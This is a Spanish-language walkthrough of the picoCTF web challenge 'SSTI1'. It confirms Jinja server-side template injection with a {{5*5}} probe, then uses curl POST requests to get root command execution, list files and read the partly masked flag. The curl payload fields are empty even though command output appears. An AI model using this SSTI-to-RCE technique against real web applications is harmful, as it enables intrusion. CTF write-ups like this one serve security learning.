picoCTF - SSTI1
Challenge
Information
SSTI1 es un challenge de dificultad fácil dentro de la categoría Web Exploitation de la plataforma picoCTF y fue creado por el usuario VENAX.
Description
I made a cool website where you can announce whatever you want! Try it out!
Additional details will be available after launching your challenge instance.
Hints
Se nos facilita la siguiente pista:
Server Side Template Injection

Solution
Site
El sitio web cuenta con un campo de entrada (input) que permite enviar datos.

Envío a modo de prueba la cadena test y posteriormente puedo verla reflejada en la página


En los encabezados (Headers) se observa que el servidor utiliza Python (Werkzeug/3.0.3 Python/3.8.10), por lo que podemos inferir el uso de plantillas del tipo Jinja para futuros ataques.
Server Site Template Injection (SSTI)
Check
Al insertar {{5*5}} se verifica la vulnerabilidad, ya que la aplicación devuelve 25.


Para trabajar de forma más cómoda, utilizo la terminal y envío con curl los datos mediante el método POST con el parámetro content, tal como se observa en el código del input.

Remote Code Execution (RCE)
Consigo ejecutar comandos como usuario root
root@kali:~ ❯ curl -sX POST -d "content=" "http://rescued-float.picoctf.net:62323/announce"
<!doctype html>
<h1 style="font-size:100px;" align="center">uid=0(root) gid=0(root) groups=0(root)
</h1>
Flag
Listo los archivos del directorio actual, localizo la flag y procedo a leerla.
root@kali:~ ❯ curl -sX POST -d "content=" "http://rescued-float.picoctf.net:50156/announce"
<!doctype html>
<h1 style="font-size:100px;" align="center">__pycache__
app.py
flag
requirements.txt
</h1>
root@kali:~ ❯ curl -sX POST -d "content=" "http://rescued-float.picoctf.net:50156/announce"
<!doctype html>
<h1 style="font-size:100px;" align="center">picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_XXXXXXXXXXXXXXXXXXXXX}</h1>
Hasta aquí la resolución del challenge SSTI1 de picoCTF.
Happy Hacking!